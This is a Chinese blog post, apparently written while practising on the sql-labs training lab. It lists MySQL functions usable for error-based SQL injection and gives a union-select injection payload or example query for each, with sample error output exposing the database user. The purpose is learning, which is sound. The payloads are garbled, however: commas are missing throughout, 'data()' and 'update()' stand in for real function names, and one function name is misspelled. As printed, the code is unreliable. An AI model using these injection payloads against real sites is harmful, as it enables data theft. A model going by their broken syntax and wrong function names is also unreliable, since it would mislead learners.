Mysql报错函数小结

发布于 2017-08-30 16:51:55

前言:

一直都想找个时间总结一下Mysql十大报错函数,但一直都忘了,趁着这几天玩sql-labs的时候,随便总结一下。

Mysql报错函数:

1、floor()
2、extractvalue()
3、update()
4、exp()
5、geometrycollection()
6、multiponint()
7、polygon()
8、multipolygon()
9、linestring()
10、multilinestring()

0x01、floor()

floor(x) 函数,向下取整返回一个不大于x的值
round(xd) 函数,根据四舍五入保留指定的小数位数,x指要处理的数,d是指保留几位小数。
rand() 函数,产生一个0-1之间的随机浮点数,若有参数x,则返回一个x对应的固定的值

报错原理:主键重复


示例1:sql-labs第5关
payload:

id=1' union select 1 from (select count(*)concat(0x7e(data())0x7efloor(rand()*2))a from information_schema.tables group by a) b#

0x02、extractvalue()

Extractvalue(_frag xpath_expr) 函数使用XPath表示法从XML字符串中提取值
_frag: 目标文档
xpath_expr: 利用Xpath路径法表示的查找路径

报错原理:Xpath格式语法书写错误的话,就会报错

示例2:
payload:

id=1' union select Extractvalue('1'concat('~'(select data())))#

0x03、update()

UPDATEXML (XML_document XPath_string new_value) 改变文档中符合条件的节点的值
XML_document:String格式,为XML文档对象的名称
XPath_string :Xpath格式的字符串
new_value:String格式,替换查找到的符合条件的数据

报错原理:同extractvalue函数,Xpath格式书写错误就会报错。

示例3:
payload:

id=1' union select update('1'concat('~'(select data()))'1')#

0x04、exp()

exp()是以e为底的指数函数,但是如果传递的数太大了,当大于709时,exp()就会因为溢出而报错。

将0按位取反就会得到“18446744073709551615”,再加上函数成功执行后返回0,我们将成功执行的函数取反就会得到最大的无符号的bigint值。

通过子查询与按位求反,造成一个DOUBLE overflow error,由此就可以注出数据。

但由于我这里mysql版本是5.5.53的缘故,无法成功的注出数据。

成功的示例如下:

mysql> select * from products where pid=1 and exp(~(select * from(select user())a));
 DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x05、geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring()

以上均为几何函数,函数对参数要求是形如(1 23 32 2 1)这样几何数据,如果不满足要求,则会报错。

用法:

select geometrycollection((select * from(select * from(select user())a)b));

这几个函数用法均相同。
但是还是因为mysql版本的问题,没能成功执行。

成功示例如下:

mysql> select geometrycollection((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing

总结

通过这次整理真的发现了很多问题,也学到了很多。之前还没注意,原来有些报错函数是有版本要求的,看来学习的过程中还是得多多动手才行。


6 条评论